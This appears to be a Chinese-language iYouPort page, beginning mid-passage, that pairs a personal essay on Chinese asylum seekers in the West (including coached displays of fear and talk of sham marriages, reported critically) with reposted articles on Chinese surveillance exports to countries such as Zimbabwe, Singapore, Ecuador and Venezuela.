C 们曾经也是网上那些“只会喊口号”的人群中的一员，而且喊了很久，但只是为了给申请难民加分，据说移民官员是要查看社交媒体言论的。也因此，他们交上了很多异议派网友，其中包括我。“你不一样”，C指着我说，“你的问题在于太含蓄，网上发个言还总想着深入思考，思考没用啊，直接开骂才能显得你立场坚定、才能在移民官那儿加分。你申请一把难民就明白了，理性是一文不值的”。

几位“过来人”纷纷献计，他们嘱咐我千万别让自己冷静，要坚持悲情主义大原则，能嚎啕大哭才好，“如果移民官员问你一个学心理学的人心理素质一定很好吧，你要赶紧否认，申请难民最怕心理素质好的，因为那样一来你就不符合恐惧这个条件了……”他们说。

必需恐惧，培养恐惧，保持恐惧。这似乎就是他们与周边格格不入的另一个原因，但也无奈，如果不能在面试时表现出足够的恐惧，想来很难被通过。

“我拼命渲染只有中国最惨，其实还是很有帮助的，能够增强我在这边的满足感”，C直言不讳。他玩弄着车钥匙，似乎在思考这顿已经持续了两个多钟头的饭局，究竟耽搁了几趟Uber的生意，眼神中掺杂着一抹不甘心，“我可是名牌大学的硕士”，他说。

他不停的表示自己现在什么都无所谓了，“要是有人问我支不支持特朗普，我肯定说支持，特朗普那种人不是跟你球很般配吗？”他指的是欧美右转。我提醒他，我们现在只是离开了中国，并没有离开地球，他不接我的话，自顾自的说：“你不能下半辈子都坐在一间空旷

的屋子里自己给自己讲道理，因为没人会听啊。民主也克服不了周期性的反智……你还准备在社交媒体上混吗？混多久？把自己这辈子都浪费在劝导那群玩了命想自杀的人？！”

情绪疏导难道不是心理学的职责所在吗？他的话前后矛盾，一面是对政治关注的鄙夷，一面却是希望把更多中国人拉出来，就如一面痛斥“索多玛的你支”，一面感怀父母亲情、家庭温暖，似乎，其中一面只是另一面的特殊表达方式。

“你得抓紧时间了”，C说，“如果今后中国难民潮全面爆发，基本上所有中国来的申请资料都会被无限期积压，最终就只有留学生才能申请难民了，那不是不可预见的未来，到时候可能旅游签证都不给批，你就彻底完了……发了财再移民肯定是来不及，但你现在移出来能保证吃饱肚子”，他用筷子敲着桌面，一本正经：“我是辛德勒，我们都是”。

「图」

「图」

尴尬的身份认同

几个人不停的分享经验给我，一副过来人的样子。他们说可以指导我申请签证、入关时注意什么、入了关后写材料的技巧等等，M说，“虽然我们强烈劝你跑，但你自己也得想清楚，你这种情况的材料需要详细讨论，因为你面试时估计会被问比较多的问题，比如你前两年频繁出境的时候为什么没在欧洲申请难民等等这类问题，很可能就是你的难点。但我们都有办法说过去，只要你足够悲情，千万别像网上那般淡定就行……”。

我听得一头雾水。做了七八年的媒体，从没有申明立场的习惯，那是违背新闻原则的；虽然是心理学专业，也研究过悲情主义、表演型人格，但只能对其分析，却很难学出来还要学的像。他们教我说，“要充满仇恨”，时刻保持一种“中国是地狱、已经没救了”的心理状态，要先彻底放弃反抗还有希望的心思……倒是他们这番话勾起了我的悲哀，想起那些还在国内奋力挣扎的人，心痛不已。

一位女生忽然插话：“他不是未婚的吗”，指着我，“哈哈，你有救了”！

我是未婚，而且是不婚主义者，我的 Facebook 个人简介里面就是这

样写的，C让我赶紧改一下简介，说他们可以帮我在这边找一位有身份的姑娘办“假结婚移民”。我以前听说过这种事，但没有深入了解。据说假结婚的花费相对高一些，“配戏”的对方、移民律师、中间人，都要用钱打点。

“没准儿还能弄出真感情呢”，C似乎是在开导我，他告诉我以前有过弄假成真的事儿，“看你的运气了。小伙子长得不错，要对自己的颜值多点信心”，他说。

我有些尴尬，结婚是庄重的承诺，怎可戏言……他们笑我想不开，“你觉得在你支的那些结婚有多少不是交易？这是物质主义时代，还有什么不能拿出来卖的？关键是要卖得值，一张结婚证换个自由公民身份，还不用你买房、不用看丈母娘脸色，多划算的事儿”，C说。

“如果是真爱那该有多好……”，刚才那位姑娘满脸的憧憬，就像在回忆一件街边名品店橱窗里展示的豪华连衣裙。几位男士开始转向她，“你们女人嫁个白人男似乎容易得多，华人男要想娶白种女人可没那么容易”。这似乎是个规律，早前经常见人谈起，被猜测了很多原因。但为什么必需是白人呢？

白人大多是有社会地位的，他们告诉我，流露出些许做为华裔的自卑感。中国两个字就写在每个华裔的脸上，中国的国际形象就是他们在当地人眼中的样子。

“我从来不参加华裔抵制种族歧视的活动”，M说，露出厌恶的神情，“那些热衷于这类抵制活动的华裔大多是国内称之为小粉红的，也有的不是，但他们的意识很容易就会滑入‘做为中国人的自尊’那个角度上去了，我嘴笨，根本无法和他们理论清楚”。

身份是社会建构的， 人产生身份和认同都在一个特定的社会情境中间。中国似乎不能——至少在很长一段时间内还不能——塑造出一个具有广泛吸引力的“中国人”身份认同，已经转向宣传民族主义的政府，反而越来越难以将国内各种不同的声音团结在一起。中国无法向世界展示自己可以做到开放、包容和民主。

在一个威权国家里，人们不能参与到国家的任何事务中间去、不能决定国家的未来、也不能对这个国家的工作人员有任何有效的监督。“中国”只是一个政权的概念，人民与这个政权距离非常远，而且越来越远。中国当局近年来使用各种作秀方法推行所谓的“亲民风格”，但越是如此，这种距离感就越是强烈。

那么西方社会呢，需要多久才能在这边建立起与原住民平等的社会地位，一代人？“要几代人吧”，C说，“你想得太远了。我们现在，这个饭桌上，就是个独立的民族，不管你给它起个什么名字，但肯定不叫中华”。

真的可以吗？我相信，如果华人有民族主义，那种真正能产生影响的民族主义，只能是建立于体制之外的，它有望与体制对抗。关键在于，组成它的人们需要有拖垮整个政权的勇气。

「图」

「图」

逃离中国

中国大陆人移居国外的形势已不同于过去几十年。上世纪80年代，中国学生开始出国，其中许多都在1989年天安门事件后留在了西方国家，因为那些国家主动为他们提供政治避难；上世纪90年代，外出淘金的中国移民付钱让“蛇头”把自己带到西方去，他们有时会搭乘货船，比如1993年在纽约市搁浅的“金色冒险号”(Golden Venture），这一现象当时引起了国际社会的广泛关注。

在过去30年间，中国中产阶级的形成和壮大似乎正以一种前所未有的加速度进行着，这一群体越来越缺乏对未来、特别是子女的未来的安全感，于是更多选择移民，要么通过投资项目、要么通过送子女出国留学，寄希望于获得一个长远的立足点。2016年11月的民意调查显示，85%的中国中产渴望移民。

另一方面，根据2016年联合国发布的统计数据，在过去13年中，中国人在海外成功申请难民的人数一直稳居全球前20名，去年中国人申请难民的人数为五年前的五倍多。有分析人士认为这是中共政府持续打压异议人士、人权律师、人权活动家的结果，但这不是全部原因，具体原因是非常复杂的。本文也只仅仅是窥见了其中一个微小的侧面。

联合国2015全球移民报告显示，全球国际移民人数在2015年已达到2.44亿。移民输出国排行榜中中国列第四，有1000万人移民。

加拿大移民部数据显示，从2013年起，中国就是加拿大的第一大难民来源国，而且每年的申请人数不断上升，到2015年总计收到1,738中国难民申请案，2016年前三个月内就有391个难民申请案；澳大利亚

移民和边境保护局发言人表示，2015年同意146名中国人的难民申请；根据德国联邦移民与难民管理局的数据，就有382名中国人递交难民庇护申请，2015年共有553名中国人递交难民申请；法国2012的难民报告数据指，有2035名中国人递交避难申请……

根据美国国土安全部的统计，2012财政年度，来自中国的移民在美国移民法庭申请庇护的人数占206个国家或地区申请总数的25%；2014年获美国批准难民庇护最多的是中国人，其次是来自政治动荡的埃及，以及遭到战争蹂躏的叙利亚；2015年中国仍是美国寻求庇护的最大来源国，总计有15,100件申请案。

2015年，华府移民政策研究所（Migration Policy Institute）发表的报告估计，2012年非法居住在美国的中国公民人数总计有21万。 美国学者分析指，中国移民非法进入美国的方法有很多种，约五成不是跨越边境，而是以合法的方式如旅游或商务签证进入美国后逾期居留。

美国国务院规定，每年亲属移民及职业移民的配额，每个国家获分配7%，即25,620人，而2015年11月中国大陆出生仍在等待名单的人数为260,265人，也就是说，不接受新的申请案，这些数量至少要10年才能消化。 这意味着合法渠道进入美国要等待很长的时间，因此有些中国人只好利用非法途径。

盖洛普(Gallup)民调机构在2012年公布的调查显示，中国想要移民至美国的人有2200万人，为全球之冠；2016年11月，胡润研究机构和汇加顾问集团（Visas Consulting Group）公布的调查显示，60%的中国富人计划未来3年内在海外购置房产，调查对象为资产达150万美元的中国富人（目前中国此类人群的数量约为134万人）。调查显示，约80万人中国富人计划在海外投资房产并移民外国。

很多没有能力移民的中国人也在想尽办法把孩子生在国外，让下一代摆脱中国国籍。调查显示，近年来有越来越多中国的富裕家庭赴美生子，跨两国的月子中心数量不断增加。2016年估计有多达数万中国母亲在美生子，美国已成为中国生育游客最热门的目的地。但同时，美国人投诉在居民区非法开设的月子中心，执法机关查处、关闭这些机构，导致一些赴美生产的孕妇被遣返的事例时有发生……

逃离中国的人们有着各种各样的原因和理由，只有一点是相同的，他们都选择了“逃”，而不是正面反对，联合起来与恶势力抗衡。这和他们中一部分人所鄙视的、“只会上网喊口号的国人”，并无区别。也许，他们认为逃离中国就是“反抗”，“去中国化”就是战胜？

从某种程度上来说，这些离去的人是“看明白了一些问题”的人，但他们悄无声息的离去了，没有回响，而那些感觉自己难以逃离的人，大多也只能依靠白日梦来自我安慰。然后呢？

做为一个世界主义者，我信仰文化借鉴对人类发展的正面作用，流动胜于封闭、混血优于同族。但一个人应该在非母语的国度中获得理解，应该追求在流亡的过程中获得归属感，虽然这是极其困难的。

归属感意味着你需要和自己共同生活的人产生默契，让周边人不仅能听懂你的语言，更能意会你的言下之意。在当下这个复区域化被激发的时代里、新民族主义高涨的全球生态中，夹缝里饱尝孤独的中国难民，或许还需要辛苦很长一段时间。

（所有人物均为化名）

原文

中国版老大哥的世界之旅 - iYouPort

作恶者：中国在帮谁

中国一直在完善自己国家的监视社会；随着监视技术行业能力的精进，中国的公司正在向海外出口监视技术；这部分是借助于“一带一路”，中国人工智能和监控公司正走向全球化；中国正在帮助建立一个全球监控产业园区

习近平在 2017 年的讲话中表示，中国“应该建立一个开放的合作平台，坚持和发展开放的世界经济”，参照他雄心勃勃的计划，重组许多亚非国家的经济基础设施。在一次单独的演讲中，他敦促中国安全部队在中国的新疆周围建立一座“钢铁长城”，中国大部分全球经济项目 – 即 BRI 里的“R”都将通过这里。

中国监控技术公司已经获得了大量合同，以帮助监视其人民，目前这些公司正在全球范围内扩大业务，覆盖支持“一带一路”倡议的其他国家。在津巴布韦、马来西亚、新加坡和蒙古等国，中国的科技公司正在与当地政府合作，以加强他们的老大哥能力。

沿着美国情报机构和硅谷结合的标准老大哥路线，如今世界正在开始看到中国主导的全球监视-工业综合体的出现。一些科技公司的首席执行官正在吹嘘这一计划。

「图」

「图」

津巴布韦

2018年3月，津巴布韦政府与中国科技公司 Cloud Walk 合作，在全国范围内建立起面部识别监视系统。

“津巴布韦政府并没有纯粹为人工智能或面部识别技术来广州，而是为基础设施、技术和生物学等领域制定了全面的一揽子计划，”CloudWalk 首席执行官对中国官媒说。

“我羡慕地看着中国人能够用他们可爱的面孔来支付餐费，”津巴布韦的交易顾问告诉环球时报，指的是中国的面部识别软件，“所以我都等不及了想要看到津巴布韦人民使用它。”

“随着中国面部识别技术近年来取得快速发展的宣传，津巴布韦政府希望通过与中国领先的IT行业企业合作，将其引入该国，以帮助加速其现代化，” CloudWalk 的一位高管告诉环球时报。

Cloud Walk 高管一直在吹嘘该公司在新疆的“工作”，帮助政府完善对哈萨克族和维吾尔族人民的监视，甚至暗示政府多年来一直在慢慢推进尖端技术。

“多年来我一直在努力使这项技术更实用，”Cloud Walk 的创始人说，“实际上，我们的一些设计系统自**2011**年起已应用于新疆和其他地区”。

另一家总部位于中国的科技公司海康威视（Hikvision）一直致力于通过闭路电视摄相机布设为津巴布韦提供先进的监控提供平台。

- 延伸阅读：《中国的头牌老大哥“海康威视”究竟做了什么？》
- 美国公关巨头博雅公关公司**(Burson-Marsteller)**在帮助海康威视的美国子公司完成“战略规划和指导”等任务；"美国游说公司 Sidley Austin 任命"前**14**届国会议员 **Rick Boucher (D-Va.)** 帮助海康威视公司反击美国对他们的监控摄像头的禁止

津巴布韦一直在威权主义和侵犯人权方面闻名全球。独裁者罗伯特穆加贝的20年统治在政变中被推翻，但取而代之的是军事政权。自由之家将这个国家评为“不自由”。

为了与东方政府建立更紧密的联系，津巴布韦发起了一项名为“向东看”的政策，呼吁加强与中国的关系。现在，津巴布韦正在与中国合作加入“一带一路”倡议。部分原因似乎包括为满足津巴布韦政府需求而量身定制的中国原产监控技术的进口。

- 延伸阅读：高堡奇人局面已经不仅发生在数字技术领域；中东和非洲正在成为中美争霸的主战场；但与美国的同类扩张不同，中国并不只是想主宰这些市场，它是希望利用发展中国家作为实验室，来改进自己的监测技术

「图」

「图」

新加坡

新加坡政府机构 GovTech 已启动了一项试点计划，在所有路灯上安装约 110,000 台监控摄像头，并配备先进的面部识别功能。

该项目名为“灯柱作为平台”（LaaP）于2019年推出，该项目一直在招揽中国公司，这些公司曾帮助在中国建立监控国家。

中国的监控技术公司 Yitu 竞购了 LaaP 的合同，据报道已经在新加坡开展了销售和推广业务。该公司还计划在该国建立一个研发实验室。换句话说，无论有没有 LaaP 的合同，Yitu 都会来新加坡。**Yitu** 专注于开发尖端的面部识别技术。

SenseTime 是 Yitu 的竞争对手，也是面部识别技术公司，同时还是“世界上最有价值的”人工智能公司，似乎也对新加坡 LaaP 的出价感兴趣。

据路透社报道，美国权利组织电子前沿基金会的高级职员律师 Adam Schwartz 敦促新加坡和其他政府不要采用面部识别监控技术，因为担心它将系统地限制言论自由并阻止和平示威。这是因为这种面部识别技术通常连接到警察数据库。

新加坡与津巴布韦一样，有压制政治异议和部署监视工具以遏制批评者的历史，包括逮捕和平抗议者。

根据其首相李显龙的说法，新加坡是中国“一带一路”倡议的 “早期和坚定支持者”。

新加坡是一个全球金融中心城邦，已经在 BRI 上与中国签署了多项协议。新加坡贸易部长 Lim Hng Kiang 说：“新加坡作为该地区重要基础设施，金融和法律中心的实力，将为沿着一带一路扩张的中国企业增加价值。”

- 延伸阅读：新加坡在全球所谓“智能城市”大规模监视项目领域是榜上有名的，该政府目前正计划与法国软件公司 DassaultSystèmes 合作创建 Virtual Singapore，以实现“城市仪表板”的下一步计划，该平台不仅会使用传感器和摄像机汇总来自城市的所有数据，还允许政府官员深入公寓进行窥视

「图」

「图」

马来西亚

马来西亚安全部队于 2018 年4月展示了他们的最新技术; 由中国监视技术公司 Yitu 提供的最先进的面部识别可佩戴的相机。

“AFSB [Auxiliary Force Sdn Bhd] 致力于为马来西亚的安全领域带来创新。这是向前迈进了显著的一步，我们利用人工智能技术来提高公众的安全和保障，” Auxiliary Force Sdn Bhd 的首席执行官说。

在宣传他们在马来西亚的新合作伙伴关系时，中国监视技术公司 Yitu 还向其他潜在买家展示了其最新产品，包括 **“智能 AI 眼镜”** 和配备面部识别技术的无人机。因此，其他马来西亚安全部队和政府实体可能会采用类似的技术。

马来西亚在国家政策滥用方面历史悠久。就在 2018 年5月辞职之前，马来西亚前总理纳吉布·拉扎克（Najib Razak）还制定了一项所谓“反假新闻”法律，该法律旨在惩罚那些发表被当局讨厌的作品的人长达十年的监禁。

马来西亚境内的积极人士批评该法律是对新闻界的公然攻击。虽然由于过多的腐败指控，Razak 最终被迫辞职，但自由之家认为马来西亚仍然只是“部分自由”。

马来西亚一直试图尽可能多地加入“一带一路”倡议，其中一个新的合作伙伴似乎就是引进中国的监控技术。

「图」

「图」

蒙古

“一带一路“中的另一个环节是蒙古监狱，在其戒备森严的监狱中采用中国的人脸识别技术。

SenseTime 首席执行官吹嘘他的公司如何参与这些监狱的监视能力布设。

“在蒙古的高度安全监狱利用中国首屈一指的动态人脸识别监视技术，能有效地协助为监狱安全控制开发的系统，提高了管理效率，提高了员工的工作效率，” SenseTime 的 CEO 写道。

他还表示，SenseTime 的目标是成就全球影响力：“我们的目标绝不是创建一个被收购的小公司，而是一个**‘platform company’**，为全球用户提供核心技术，如 **Google** 和 **Facebook”——** 高堡奇人。

据报道，蒙古维持着一个事实上的两级刑事司法系统，其中一些人具有相对的豁免权，而其他人则受到最严重的迫害。“由于警方的自满情绪和不愿意逮捕罪犯，极端民族主义团体逍遥法外，” Michelle Tolson 在国际新闻社写道。

国际特赦组织还报告说，蒙古监狱内经常使用酷刑。

「图」

「图」

全球监视工业园区

许多中国的科技公司通过合同获得了中国政府的大量财政支持，或者代表公司筹集资金。由私营公司委托和开发的满足中国执政党的技术让这些公司获得了经验、资金和平台，使他们可以在国外销售他们的技术。

随后，“一带一路”倡议为这些公司在促进其扩展到伙伴国家方面提供了巨大的推动力。

其他公司也在采取行动，包括全球电信巨头华为。

根据 Zenz 的说法，“华为公司刚刚受到新疆乌鲁木齐市警察局的邀请，部署了一个包括全面监控和信息收集的’智能城市’系统。华为和其他公司正与维稳一起在新疆开设研究实验室。“

中国提供了一个适宜这类公司发展的环境，在这种环境中，这些公司可以在一系列严格的中国控制下得到特殊成长，并在全球范围内实现盈利增长：

“中国先进的审查基础设施使政府能够塑造公共话语、宣传、审查异议、参与国内保护主义，并控制在中国运营的跨国公司和国内公司”，Simon Zhen，法律分析师和即将发布的报告的作者告诉 Al Bawaba。

“中国明确表示，它希望成为网络安全和人工智能方面的领导者，因此投入了大量资源”，Jean-Marc Rickli 告诉 Al Bawaba。

“这种技术对该制度的具体好处体现在它允许当局对社会全面控制，就如’社会信用评分制度’。作为该领域的先驱，在商业全球力量和军事方面也具有战略意义，“Rickli 说。

中国正在加倍努力将监测技术纳入其全球经济计划中，到目前为止，似乎并没有受到与其合作的国家的人权记录的影响，目前正在对其本国人民实施的监视滥用行为也没有被监督。

“由于主权原因，中国的霸权地位目前没有得到有效的检查，在我看来”，Zhen 说。

“中国不仅可以自由扩大其审查基础设施，还可以将其监控技术出售给发展中国家。”

原文

中国参与制作耶路撒冷旧城的“老大哥” - iYouPort

作恶者：中国在帮谁

在这份新报告中，Who Profits 审查了以色列国家和营利部门在被占领的耶路撒冷旧城实施的“Mabat 2000”视觉监控计划。 2000 年推出的 “Mabat 2000”—希伯来语的缩写，代表“技术与监控中心”，也是“凝视”这个词的意思，是以色列警方在老城区最全面的视觉监控项目，每条街道和小巷都有闭路电视（CCTV）摄像机。

Who Profits 记录了以色列公共企业集团 C. Mer Group 在“Mabat 2000”软件的安装、维护和实施方面的参与情况。此外，还有四家公司参与提供监控硬件：VideoTec，一家意大利私人公司；大华科技，一家上市的中国公司；索尼公司，一家公开上市的日本企业集团，以及以色列私人公司 Evron Systems。

历届以色列政府扩大了市政边界，建造了12个非法定居点，以容纳20多万以色列定居者，促进占领旧城及邻近社区的巴勒斯坦人的住房，并开发了错综复杂的绕行公路网和轻轨网络，以建立一体化巩固以色列控制的基础设施。

与此同时，巴勒斯坦人被系统地与城市隔绝。大约 323,700 名巴勒斯坦人作为永久居民生活在东耶路撒冷，其中67%的人生活在贫困线以下。1967年至2016年期间，以色列当局撤销了 14,500 多名巴勒斯坦耶路撒冷人的居留身份。同时市规划部门实施了积极的强拆政策。

自 1967 年以来，以色列拆毁了东耶路撒冷的 2,000 多所房屋。由于以色列的建筑许可证极难获得，超过10万巴勒斯坦居民生活在不断强拆的威胁之下。

这种政策和做法是由暴力镇压的安全机构实现的，旨在抑制对以色列占领的任何形式的抵抗，同时设计一个“正常的外观”。监禁在以色列监狱的 5,640 名巴勒斯坦政治犯中，约有 500 名来自东耶路撒冷。儿童面临以色列当局的“集中逮捕运动”。仅在2017年，共有1,138名儿童被捕，还有许多人被软禁。这种军事监视设备越来越多地集成了

高科技全景机制和算法，这些机制和算法由公共安全机构—主要是以色列警察和国家资助的私营安保公司（PSC）共同控制。

该报告调查了在东耶路撒冷运作的多层全景监视和控制机制，特别关注“Mabat 2000”项目并揭露其中的企业共谋。

报告揭示了该项目在被占领城市更广泛采取的安全机构中的核心地位。它着眼于政府的具体政策，这些政策有助于警察和 PSC 在被占领的东耶路撒冷建立最先进的视觉监控网络。

此外，该报告还说明了以色列前安全机构成员如何将知识私有化并通过公司创造利润。最后，报告揭示了该系统对巴勒斯坦人的不利影响、旧城遗址和那里的巴勒斯坦居民被用作试验场的方式，及以色列和国际公司的营销工具。

In this flash report, Who Profits examines the ‘Mabat 2000’ visual surveillance program implemented in the occupied Old City of Jerusalem by the Israeli state and for-profit. Launched in the year 2000, ‘Mabat 2000’—an acronym in Hebrew which stands for “technological & surveillance center,” and also a word which means “gaze”—is the Israeli police’s most comprehensive visual surveillance project in the Old City, saturating every street and alleyway with Close-Circuit Television (CCTV) cameras.

原文

中国向60多个国家出口AI监控技术 - iYouPort

作恶者：中国在帮谁

中国的监视技术沿 “一带一路” 扩展，华为、海康威视、大华和中兴通讯是主要供应商

「图」

「图」

根据美国智库的一份报告，中国公司已将其人工智能监视技术出口到世界上六十多个国家，包括委内瑞拉、缅甸、津巴布韦、和其他人权记录令人沮丧的国家。

这种涉及面部识别系统的技术已被共产党政府用于打击维吾尔族以及该国其他穆斯林少数民族公民，该报告称北京为 “威权主义技术的全球驱动力”。

- 中国是如何拥有这些高端技术的？《中国的反乌托邦监视国家是美国制造的》
- 还有谁在帮助中国当局成为全球首屈一指的利维坦？在这里看到更多证据： 列表4 -“罪恶者 谁在帮中国”

谁在买？

⚠ 报告显示，不仅仅是如法国、德国、英国等发达国家大笔购买了中国的监视技术，委内瑞拉、秘鲁、阿尔及利亚、尼日利亚、伊朗、伊拉克、印度、巴基斯坦、印度尼西亚、和澳大利亚等国家也都在购买。

此处有一张很棒的交互式地图，不仅显示了哪个国家正在使用AI监视技术压制其公民，而且还显示了他们是从何处获得的人工智能监视技术。

- IYP 分类知识 列表-2 栏目 “老大哥的真面目” 中汇总了全球监视技术出售和使用培训的揭露报告

在某些情况下，出售监视技术的公司正在通过提供大量贷款来提高交易可靠性，实质上是向新兴市场提供补贴，否则这些新兴市场可能无法证明这笔费用的合理，包括肯尼亚、老挝、蒙古、乌干达和乌兹别克斯坦等。

还令人担忧的是，出口国是否将从这些出口的AI监控系统所收集的数据中受益。

「图」

「图」

谁在卖？

先看上面这张图。

该报告称，经销商游戏中的大人物包括：大华、海康威视、华为和中兴。当然，中国并不是唯一的出口国。

日本**NEC**公司和美国**IBM**公司也参与了监视销售游戏，**NEC**的产品销往**14**个国家，**IBM**的销往**11**个国家。

- 这篇报告还漏掉了一个玩幕后的大碗：该公司不仅是监视美国人的主力，而且为中国当局提供大规模监视社会的必要技术能力，见《闷声发大财的跨国老大哥》
- 全球监控行业综合报告中文版《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》

在卡内基国际和平基金会的报告发布之际，人们正在担心专制政权将利用该技术来增强其权力，而且这些监视数据有可能被送回中国。

报告指出，与中国公司特别是大华、华为、中兴和海基威视有关的技术在63个国家提供人工智能监视，其中36个国家签署了“一带一路”倡议。

“一带一路”倡议是中国国家主席习近平签署的跨境基础设施项目，已计划将非洲、亚洲以及欧洲国家带入北京的经济轨道。

- 《镶金带银的太极黑沙掌—— 下一场来自帝国的威胁或许只是

没有血腥》

「图」

「图」

- 《如果中国取代了美国在中东的霸权，结果是什么？》

技术巨头华为技术有限公司是下一代5G无线网络的领先市场，据报告，该公司专门负责向至少五十个国家提供人工智能监视技术。

- 《人工智能新冷战—— AI和5G如何变成一场噩梦》

报告还说，中国产品推销活动通常伴随着软贷款，以鼓励政府购买设备。反过来，中国政府对先进的压制性技术的购买补贴之程度，也是明显的问题。

在这里下载这份报告：https://www.beltandroad.news/abuse_reporting/

也许您真的需要做一些防御了，尤其是参加重要活动和重要人物会面的过程中。可以参见我们在"列表-1 的“生物识别” 栏目"中汇总的防御方法。〇

原文

中国对厄瓜多尔做了什么？ - iYouPort

作恶者：中国在帮谁

近两年前，在基多的第二天也是最后一天，前往厄瓜多尔访问的习近平在一个宽松的政府设施中进行了一次被绝大多数人忽视的访问。

此处是厄瓜多尔最骄傲的公共安全成就之一：一个完全由中国公司建造、并由中国国家贷款资助的“国家应急响应和视频监控系统：在主楼的巨大指挥中心内，由数十台监视器组成的巨型屏幕上用西班牙语和中文显示着：“欢迎习近平先生来到 ECU 911”。

自从习近平在 2016 年末巡访以来，ECU 911 这一大规模监视在范围和复杂性方面都有了显著的扩展。该系统最初在2012年由中国资助了2.4亿美元建立，拥有全国范围内的 4300 个监控摄像头网络，16个区域响应中心、和 3,000 多名政府雇员，他们每年都在努力观看监控录像，并回复数百万个911电话。

⚠在中国技术的帮助下，ECU 911 现在拥有监控火山活动迹象的热像仪、能够夜视的无人机、向法院发送视频证据的自动化平台，以及人工智能研究实验室。它还在测试面部识别的大规模使用，以捕捉主要城市及其机场的任何人。

专家警告，ECU 911 使用面部识别等技术可以使在中国已经变得越来越普遍的侵入性监视继续在厄瓜多尔正常化。尤其是，⚠ 依赖中国设备制造的监视系统也可以为中国情报部门提供重要机会，为专制政府提供强大的工具。

厄瓜多尔曾是早期的老大哥先驱者，现在是南美洲几个批量进口中国式监控系统的国家之一。

而中国这种出口不仅限于南美洲。就在上个月，习近平公开呼吁中国将其“促成社会稳定”的技术出口到阿拉伯世界，价值达到10亿元人民币，即1.5亿美元。

- 关联：中国的老大哥都流窜到了哪些国家？为什么？《数字威权主义的兴起: 灾年之畔》

Xi was driven up a small hill to the headquarters of one of Ecuador's proudest public safety achievements: a national emergency response and video surveillance system built entirely by Chinese companies and financed by Chinese state loans. Inside the main building's cavernous command center, a ticker atop a giant screen made up of dozens of monitors read "Welcome Mr. President Xi Jinping to ECU 911" in Spanish and Chinese. Ecuador's All-Seeing Eye Is Made in China: The country's pioneering surveillance and response system is entirely Chinese-built and funded

原文

中国的中兴如何帮助委内瑞拉创造中国式的监控社会 - iYouPort

作恶者：中国在帮谁

路透社报道，2008 年 4 月，前委内瑞拉总统查韦斯（Hugo Chávez）派遣司法部官员访问中国的科技中心深圳，其使命是了解中国的国家身份证项目。查韦斯想要为本国公民提供身份证。但在深圳，委内瑞拉人认识到一张卡片能做很多事情。

⚠在中兴的总部，他们了解到中国政府如何利用智能卡开发出一套社会、政治和经济行为的跟踪系统。智能卡使用的信息储存在政府数据库内，从中可以监视到公民从个人财务状况到病史到投票的一切活动。报道称，中兴帮助委内瑞拉开发了具有类似功能的新智能卡。

被称为“祖国卡”的智能卡收集有关持卡人的一系列信息，并将其存储在国家数据库中。该数据库存储了一系列细节，包括病史、社交媒体的使用、政党成员资格以及是否已经投票。

这张卡片是试图通过监控日常生活的各个方面来加强社会控制，这类似于中国颇受争议的社会信用系统。作为支持“国家安全”的政府努力的一部分，委内瑞拉去年聘请中兴建立“祖国卡”数据库，并建立一个与该卡一起使用的移动支付系统。

How #ZTE helps Venezuela create China-style social control#ZTE helps Venezuela create China-style social control

Chinese telecoms giant ZTE is helping Venezuela build a system that monitors citizen behavior through a new identification card. The “fatherland card,” already used by the government to track voting, worries many in Venezuela and beyond

原文

中国老大哥盯上拉美人 - iYouPort

作恶者：中国在帮谁

拉丁美洲国家正在使用中国的监控技术，从打击犯罪到监测自然灾害，但批评人士担心它也可能用于更阴暗的目的—— 这项技术可以为专制政权提供“他们曾经梦寐以求的东西：大规模制裁那些参与政治行动的人的能力”。

“已经在中国开创的新系统将连接近乎全面的监控—— 通过无处不在的摄像头实现—— 以及智能手机中的位置数据访问，还有几乎所有人的所有方面的信息，包括电话和数字通信，银行和信用卡数据等“，该报告名为”中国崛起背景下的拉丁美洲和加勒比地区的未来“。

该报告的作者表示，这些系统会赋予政府“惊人的能力，以监视和识别其领土内外几乎所有居民的行为—— 不仅是犯罪活动，还包括政府不喜欢的任何行为”。

- 延伸阅读：《🔭 中国版老大哥的世界之旅》
- 《非洲人的脸被用来训练中国老大哥：北京正在努力将其监视技术输出到发展中国家》
- 更详细报告《数字威权主义的兴起: 灾年之畔》

中国公司一直在向该地区出口“新一代监控系统”，主要是通过与“Bolivarian Alliance for the Peoples of Our America”（一个由左翼领导人组成的区域组织）的合同。

厄瓜多尔已经购买了由中国电子进出口公司设计和建造的 ECU-91123 系统；Bolivia 购买了 BOL-110，它使用 600 多个安全摄像头，由同一家中国公司开发。该项目价值约1.05亿美元，由北京提供贷款。其第一阶段已于去年11月启动。详见下面：

- 延伸阅读：《中国对厄瓜多尔做了什么？》
- 《厄瓜多尔民主的缓慢扼杀》

“中国社会信用体系的发展提供了到 2050 年将全面发展并出售给拉丁美洲、加勒比地区和其他政权的惊人能力的一瞥。他们寻求对人口的

更大控制，“报告说。

该技术还引发了对中国在该地区日益增长的影响力的担忧，特别是考虑到美国将南美视为自己的后院。

自 2005 年以来，中国向拉美国家和公司提供了超过 1500 亿美元的贷款。中国国家主席习近平访问阿根廷期间与布宜诺斯艾利斯签署了30项贸易和投资协定。

有些人担心这项技术不仅可能被该地区的政府滥用，而且也会被中国滥用。负责这些系统的中国公司“几乎可以无限地收集公民、政治领导人和经济精英的所有数据，以及控制敏感军事和商业信息的人的数据”。

“中国可以利用这种潜力来妥协和勒索政治、军事和商业人士，获取政治、军事或商业上有价值的信息，并影响政治和商业决策，以推进中国的战略目标，”报告说。

InLatin America, Big Brother China is watching you. The uptake of Chinese surveillance technology in the region sparks fears it could be subverted both by local governments and Beijing. Some fear the technology might not only be abused by governments in the region, but by China too.

原文

硅谷充斥着中国和沙特的资金，有谁关心？ - iYouPort

作恶者：中国在帮谁

一个强硬的新执法机制正在成为风险资本家和创业公司的地缘政治雷区。这里只有钱是真实的，其余的一切似乎都是假象……

「图」

「图」

穆罕默德·本·萨勒曼知道如何指挥他的观众。

一年前，这位32岁的沙特王位继承人与四位硅谷最大的名人投资者坐在一起 —— Sam Altman, Marc Andreessen, Peter Thiel, 和 Vinod Khosla —— 他们坐在他周围的沙发上，与他的国家讨论潜在的“伙伴关系”。

他推送的照片中显示，他与蒂姆·库克一起在 Apple Park 散步，并参观了史蒂夫·乔布斯剧院；还有他与谢尔盖布林一起漫步的照片；还有比尔盖茨。这些人都是满脸的笑容。

「图」

「图」

Apple CEO Tim Cook was one of many Silicon Valley leaders to greet Mohammed bin Salman with open arms in April 2018. Bandar Algaloud/Anadolu Agency/Getty Images

